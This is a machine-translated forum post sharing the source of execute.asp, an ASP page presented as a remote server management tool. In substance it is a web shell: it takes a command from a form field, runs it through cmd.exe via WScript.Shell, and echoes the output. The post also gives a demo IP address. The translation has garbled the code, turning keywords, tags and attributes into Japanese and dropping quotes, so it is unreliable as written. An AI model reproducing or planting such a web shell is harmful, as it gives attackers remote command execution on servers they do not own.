最近、リモートサーバー管理ツールを作成しています(ASEからコードの一部を借用し、リモートサーバー管理ツールを追加しています)
コマンド、アップロード、サービス、その他の機能を実行します。 )、A Xin、ADAM、Chen'er、Ghost_happy を獲得、
クレイジーバードや他の多くのネチズンの助けにとても感動しているので、オリジナルのコードを書いたらすべて投稿するつもりです。
公開されており、自由に変更および配布できます。必要なのは、プログラムを ASP 対応サーバーにアップロードすることだけです。
プログラムを実行するには、FileSystemObject によってサポートされている必要があることに注意してください。以下はリモート実行コマンドです。
オリジナルコード。それをコピーし、execute.asp という名前で保存します。
デモのアドレス: http://210.160.4.24/scripts/execute.asp
ポンコツ日本製マシンなので漢字は文字化けします!
<html>
<頭>
<meta http-equiv=コンテンツ言語 content=zh-cn>
<meta http-equiv=コンテンツタイプ content=text/html;
<meta name=GENERATOR content=Microsoft FrontPage 4.0>
<メタ名=ProgId コンテンツ=FrontPage.Editor.Document>
<title>コマンドを実行</title>
<スタイル>
<!--
table,body{ font-family: 宋体 font-size: 9pt }
a{ フォントファミリー: 宋体; フォントサイズ: 9pt; カラー: rgb(0,32,64);
テキスト装飾: なし }
a:hover{ フォントファミリー: 宋体; テキスト装飾: なし
}
a:訪問済み{ color: rgb(128,0,0) }
-->
</スタイル>
</head>
<body bgcolor=#000000 text=#C0C0C0>
<フォームメソッド=POSTアクション=execute.asp>
<p align=left>実行するコマンドを入力します: <input type=text name=ml
サイズ=20 値=ディレクトリ c:/ スタイル=背景色: #C0C0C0;
#000000; ボーダースタイル: ソリッド;
<入力タイプ=送信値=実行名=B1スタイル=背景色:
#C0C0C0; カラー: #000000; ボーダー: 1 溝 #C0C0C0></p>
</form>
<%
ml=リクエスト.フォーム(ml)
cmd=c:/winnt/system32/cmd.exe /c &ml& >c:/whoamI.txt '変更
whoamI.txt を書き込み権限のあるディレクトリにパスします
WShShell = Server.CreateObject(WScript.Shell) を設定します。
RetCode = WShShell.Run(cmd, 1, True)
RetCode = 0 の場合
Response.write ml &
Response.write コマンドが正常に実行されました。 &<br><br>
それ以外
Response.write コマンドの実行に失敗しました。権限が不十分であるか、プログラムを DOS 状態で実行できません
! &<br><br>
終了する場合
'response.write コマンド
関数htmlエンコード(文字列)
薄暗い結果
薄暗い
isNULL(str) の場合
htmlエンコード=
終了関数
終了する場合
l=レン(文字列)
結果=
ディミ
i = 1 ~ l の場合
ケースを選択してください (str,i,1)
場合 <
結果=結果+<
ケース >
結果=結果+>
ケースchr(34)
結果=結果+
場合&
結果=結果+&
それ以外の場合
結果=結果+mid(str,i,1)
エンドセレクト
次
htmlencode=結果
終了関数
Set fs =CreateObject(Scripting.FileSystemObject)
Set thisfile = fs.OpenTextFile(c:/whoamI.txt, 1, False) 'ファイルを読みます、忘れないでください
パスを変更します。
カウンタ=0
thisfile.atendofstream ではないときに実行します
カウンタ=カウンタ+1
thisline=htmlencode(thisfile.readline)
応答。この行を書いてください&<br>
ループ
このファイル.閉じる
fs=何も設定しない
%>
</body>
</html>